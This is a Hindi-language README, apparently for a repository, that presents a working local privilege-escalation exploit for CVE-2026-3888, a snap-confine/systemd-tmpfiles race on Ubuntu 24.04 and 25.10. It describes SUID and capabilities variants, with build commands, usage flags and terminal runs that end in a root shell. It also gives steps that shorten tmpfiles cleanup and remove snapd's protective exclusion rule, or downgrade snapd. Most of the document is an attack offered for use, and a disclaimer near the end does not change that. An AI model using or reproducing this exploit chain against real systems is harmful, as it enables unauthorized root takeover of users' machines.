
स्थानीय विशेषाधिकार वृद्धि शोषण CVE-2026-3888 के लिए, जो Ubuntu पर snap-confine और systemd-tmpfiles को लक्षित करता है, तथा रूट एक्सेस प्राप्त करने के लिए SUID और capabilities वेरिएंट प्रदान करता है।
असुरक्षित उपयोगकर्ता से Ubuntu Desktop 24.04+ पर पूर्ण रूट तक स्थानीय विशेषाधिकार वृद्धि, snap-confine और systemd-tmpfiles के बीच TOCTOU रेस कंडीशन का शोषण करके। दो वेरिएंट प्रदान किए गए हैं: SUID और Capabilities।
CVSS: 7.8 (उच्च) | परामर्श: Qualys | पैच: snapd 2.74.2, 17 मार्च 2026
systemd-tmpfiles /tmp के अंतर्गत पुरानी .snap नकल निर्देशिका को हटा देता है (30-दिन की आयु समाप्ति)snap-confine को एकल-चरण में चलाता है ताकि नकल bind-mount अनुक्रम के दौरान रेस को विश्वसनीय रूप से जीता जा सकेld-linux-x86-64.so.2 को शेलकोड से बदल दिया जाता है जो setreuid(0,0) + execve को कॉल करता हैsnap-confine निष्पादित करने से रूट विशेषाधिकारों के साथ शेलकोड ट्रिगर होता है/var/snap/firefox/common/ में छोड़ दिया जाता है| फ़ाइल | विवरण |
|---|---|
exploit_suid.c | एकीकृत एकल-बाइनरी शोषण — सभी 7 चरण एक fork-आधारित ऑर्केस्ट्रेटर में |
librootshell_suid.c | पेलोड — न्यूनतम ELF जो कच्चे x86_64 syscalls के माध्यम से ld-linux-x86-64.so.2 को बदलता है |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
दोनों को x86_64 Linux पर संकलित (या क्रॉस-संकलित) किया जाना चाहिए। exploit स्थिर रूप से लिंक किया गया है ताकि यह लाइब्रेरी निर्भरताओं के बिना snap सैंडबॉक्स के अंदर चल सके। librootshell.so -nostdlib का उपयोग करता है क्योंकि इसमें केवल कच्चे syscalls होते हैं — कोई libc नहीं।
./exploit <librootshell.so> [-d] [-s]
| फ़्लैग | विवरण |
|---|---|
-d | snap-confine डीबग आउटपुट दिखाएं (वर्बोज़ मोड) |
-s | .snap सफाई प्रतीक्षा छोड़ें (रूट पासवर्ड आवश्यक) |
# सामान्य चलाना
./exploit ./librootshell.so
# डीबग मोड
./exploit ./librootshell.so -d
# विफलता के बाद पुनः प्रयास
./exploit ./librootshell.so -s
शोषण सैंडबॉक्स में प्रवेश करता है, systemd-tmpfiles द्वारा .snap हटाए जाने की प्रतीक्षा करता है (स्टॉक Ubuntu 25.10 पर 10 दिन तक और स्टॉक Ubuntu 24.04 पर 30 दिन तक), फिर रेस को स्वचालित रूप से चलाता है। सफलता पर, रूट शेल में पहुंच जाता है।
snap-confine SUID-root होना चाहिए (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer सक्रियbusybox उपलब्ध (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] पेलोड: /home/user/./librootshell.so (9056 बाइट्स)
[चरण 1] Firefox सैंडबॉक्स में प्रवेश...
[+] आंतरिक शेल PID: 3122
[चरण 2] .snap विलोपन की प्रतीक्षा...
[*] पोलिंग (स्टॉक Ubuntu पर 30 दिन तक)।
[*] संकेत: छोड़ने के लिए -s का उपयोग करें।
[+] .snap हटा दिया गया।
[चरण 3] कैश्ड माउंट नेमस्पेस नष्ट करना...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] नेमस्पेस नष्ट हो गया।
[चरण 4] रेस सेटअप और चलाना...
[*] कार्यशील निर्देशिका: /proc/3122/cwd
[*] .snap और .exchange निर्माण...
[*] 285 प्रविष्टियाँ एक्सचेंज निर्देशिका में कॉपी की गईं
[*] रेस शुरू...
[*] snap-confine की निगरानी (चाइल्ड PID 3543)...
[!] ट्रिगर — निर्देशिकाएँ स्वैप करना...
[+] स्वैप पूर्ण — रेस जीत गया!
[*] नेमस्पेस में ld-linux: user:user 755
[+] ज़हरीला नेमस्पेस PID: 3543
[चरण 5] ज़हरीले नेमस्पेस में पेलोड इंजेक्ट करना...
[+] ld-linux uid 1000 (हमलावर) के स्वामित्व में। रेस की पुष्टि हुई।
[*] busybox स्थापित करना...
[*] पलायन स्क्रिप्ट लिखना → /tmp/sh
[*] ld-linux-x86-64.so.2 अधिलेखित करना...
[+] पेलोड इंजेक्ट किया गया।
[चरण 6] SUID snap-confine के माध्यम से रूट ट्रिगर करना...
[*] snap-confine → snap-confine (SUID ट्रिगर)
[*] निकास स्थिति: 0
[चरण 7] सत्यापन...
[+] SUID रूट bash: /var/snap/firefox/common/bash (मोड 4755)
[*] पृष्ठभूमि प्रक्रियाओं की सफाई...
================================================================
रूट शेल: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles /tmp के अंतर्गत पुरानी .snap नकल निर्देशिका को हटा देता हैsnap-confine को एकल-चरण में चलाता है ताकि /var/lib नकल bind-mount अनुक्रम के दौरान रेस को विश्वसनीय रूप से जीता जा सके/var/lib/snapd/mount/snap.snap-store.user-fstab का नियंत्रण प्राप्त करता हैuser-fstab प्रविष्टियाँ सैंडबॉक्स में ज़हरीले /etc (जिसमें ld.so.preload है) को bind-mount करती हैं/tmp/.snap से SUID-root su बाइनरी निष्पादित करने से librootshell.so प्रीलोड होता है जो setreuid(0,0) + को कॉल करता है| फ़ाइल | विवरण |
|---|---|
exploit_caps.c | एकीकृत एकल-बाइनरी शोषण — सभी 7 चरण एक fork-आधारित ऑर्केस्ट्रेटर में |
librootshell_caps.c | पेलोड — कंस्ट्रक्टर के साथ साझा लाइब्रेरी जो setreuid(0,0) + execve को कॉल करती है |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
दोनों को x86_64 Linux पर संकलित (या क्रॉस-संकलित) किया जाना चाहिए। exploit स्थिर रूप से लिंक किया गया है ताकि यह लाइब्रेरी निर्भरताओं के बिना snap सैंडबॉक्स के अंदर चल सके। librootshell.so -nostartfiles और __attribute__((constructor)) का उपयोग करता है — इसे लक्ष्य बाइनरी के main() से पहले ld.so.preload के माध्यम से लोड किया जाता है।
./exploit <librootshell.so> [-d] [-s]
| फ़्लैग | विवरण |
|---|---|
-d | snap-confine डीबग आउटपुट दिखाएं (वर्बोज़ मोड) |
-s | .snap सफाई प्रतीक्षा छोड़ें (जब .snap पहले ही हट चुका हो तो उपयोग करें) |
# सामान्य चलाना
./exploit ./librootshell.so
# डीबग मोड
./exploit ./librootshell.so -d
# प्रतीक्षा छोड़ें (पुनः प्रयास)
./exploit ./librootshell.so -s
शोषण सैंडबॉक्स में प्रवेश करता है, systemd-tmpfiles द्वारा .snap हटाए जाने की प्रतीक्षा करता है (स्टॉक Ubuntu 25.10 पर 10 दिन तक और स्टॉक Ubuntu 24.04 पर 30 दिन तक), फिर रेस को स्वचालित रूप से चलाता है। सफलता पर, रूट शेल में पहुंच जाता है।
snap-confine में capabilities होनी चाहिए (cap_sys_admin, cap_chown, cap_dac_override, आदि)snap-store snap स्थापित (Ubuntu Desktop पर डिफ़ॉल्ट)core22 बेस snap स्थापितsystemd-tmpfiles-clean.timer सक्रियbusybox उपलब्ध (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.71.1+ubuntu25.10.1
snapd 2.71.1+ubuntu25.10.1
series 16
ubuntu 25.10
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE
================================================================
[*] पेलोड: /home/user/./librootshell.so (14320 बाइट्स)
[चरण 1] snap-store सैंडबॉक्स में प्रवेश...
[+] आंतरिक शेल PID: 3501
[चरण 2] .snap विलोपन की प्रतीक्षा...
[*] पोलिंग (Ubuntu 25.10 पर 10 दिन तक)।
[*] संकेत: छोड़ने के लिए -s का उपयोग करें।
[+] .snap हटा दिया गया।
[चरण 3] कैश्ड माउंट नेमस्पेस नष्ट करना...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] नेमस्पेस नष्ट हो गया (.mnt चला गया)।
[चरण 4] रेस सेटअप और चलाना...
[*] कार्यशील निर्देशिका: /proc/3501/cwd
[*] .snap और .exchange निर्माण...
[*] 17 प्रविष्टियाँ एक्सचेंज निर्देशिका में कॉपी की गईं
[*] रेस शुरू...
[*] snap-confine की निगरानी (चाइल्ड PID 3678)...
[!] ट्रिगर — निर्देशिकाएँ स्वैप करना...
[+] स्वैप पूर्ण — रेस जीत गया!
[+] रेस जीत गया। /var/lib/snapd अब उपयोगकर्ता के स्वामित्व में है।
[चरण 5] पेलोड और user-fstab सेटअप...
[*] /etc को .snap/etc में कॉपी करना...
[*] ld.so.preload लिखना...
[*] user-fstab लिखना...
[*] librootshell.so को /tmp/ में कॉपी करना...
[*] busybox कॉपी करना...
[*] पलायन स्क्रिप्ट लिखना...
[*] var/lib वापस स्वैप करना (मूल snapd मेटाडेटा पुनर्स्थापित करना)...
[+] पेलोड तैयार।
[चरण 6] /tmp/.snap में SUID बाइनरी के माध्यम से रूट ट्रिगर करना...
[*] निष्पादित: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*] निकास स्थिति: 0
[चरण 7] सत्यापन...
[+] SUID रूट bash: /var/snap/snap-store/common/bash (मोड 4755)
[*] पृष्ठभूमि प्रक्रियाओं की सफाई...
================================================================
रूट शेल: /var/snap/snap-store/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
स्टॉक Ubuntu इंस्टॉलेशन पर, .snap सफाई में 30 दिन (24.04) या 10 दिन (25.10) लगते हैं। परीक्षण के लिए इसे तेज़ करने हेतु, /tmp आयु और टाइमर अंतराल कम करें:
/usr/lib/tmpfiles.d/tmp.conf संपादित करें (रूट के रूप में):
# आयु को 30d से 4m में बदलें
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf
सत्यापित करें:
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# दिखाना चाहिए: q /tmp 1777 root root 4m
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer
सत्यापित करें:
systemctl list-timers systemd-tmpfiles-clean
# NEXT कॉलम अब से ~1 मिनट दिखाना चाहिए
snapd 2.73+ एक बहिष्करण नियम जोड़ता है जो tmpfiles को .snap साफ़ करने से रोकता है। यदि आपके सिस्टम में यह है, तो जांचें और हटाएं:
cat /usr/lib/tmpfiles.d/snapd.conf
# यदि आप देखते हैं: x /tmp/snap-private-tmp/*/tmp/.snap
# उस पंक्ति को हटाएं, या snapd 2.71.1 पर डाउनग्रेड करें
इन सेटिंग्स के साथ, .snap पुराना होने के ~5 मिनट के भीतर साफ़ हो जाएगा, जिससे परीक्षण के दौरान तेज़ पुनरावृत्ति संभव होगी।
यह कोड केवल शैक्षिक उद्देश्यों, अधिकृत सुरक्षा अनुसंधान, और पैठ परीक्षण कार्यों के लिए प्रदान किया गया है जहाँ स्पष्ट लिखित अनुमति प्राप्त की गई है। लेखक इस सॉफ़्टवेयर के दुरुपयोग के लिए कोई दायित्व नहीं मानता है। इस कोड का उपयोग करके, आप सहमत हैं कि आप अपने कार्यों और इसके उपयोग से उत्पन्न होने वाले किसी भी परिणाम के लिए पूरी तरह जिम्मेदार हैं। इस कोड का उपयोग उन प्रणालियों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) |
|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, आदि) |
| लक्ष्य snap | firefox | snap-store |
| नकल लक्ष्य | /usr/lib/x86_64-linux-gnu (~285 प्रविष्टियाँ) | /var/lib (~17 प्रविष्टियाँ) |
| शोषण वेक्टर | ld-linux-x86-64.so.2 को शेलकोड से अधिलेखित करें | user-fstab + ld.so.preload नियंत्रित करें |
| पेलोड प्रारूप | कच्चे syscalls के साथ स्थिर ELF | __attribute__((constructor)) के साथ साझा लाइब्रेरी |
| रूट ट्रिगर | SUID snap-confine ज़हरीले डायनामिक लिंकर को लोड करता है | /tmp/.snap में SUID su .so प्रीलोड करता है |
| cgroup आवश्यकता | कोई भी snap.* नाम | सटीक मिलान: snap.snap-store.hook.configure |
.snap सफाई | 30 दिन | 10 दिन |
| सैंडबॉक्स पलायन | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
execve("/tmp/sh")/var/snap/snap-store/common/ में छोड़ दिया जाता है